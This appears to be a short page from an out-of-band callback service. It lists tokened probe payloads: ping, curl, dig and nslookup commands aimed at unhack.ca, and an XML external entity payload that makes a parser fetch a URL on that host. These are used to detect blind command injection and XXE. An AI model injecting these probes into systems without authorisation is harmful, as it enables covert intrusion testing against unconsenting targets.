$ ping -c1 -p 00093bbaae9a39e982f07708a9ceea00 unhack.ca
 

$ curl http://unhack.ca/p/093bbaae9a39e982f07708a9ceea
 

$ dig 093bbaae9a39e982f07708a9ceea @unhack.ca
 

$ dig 093bbaae9a39e982f07708a9ceea.ns.unhack.ca
 

C:\> nslookup 093bbaae9a39e982f07708a9ceea unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/093bbaae9a39e982f07708a9ceea">]>
    <foo>&xxe;</foo>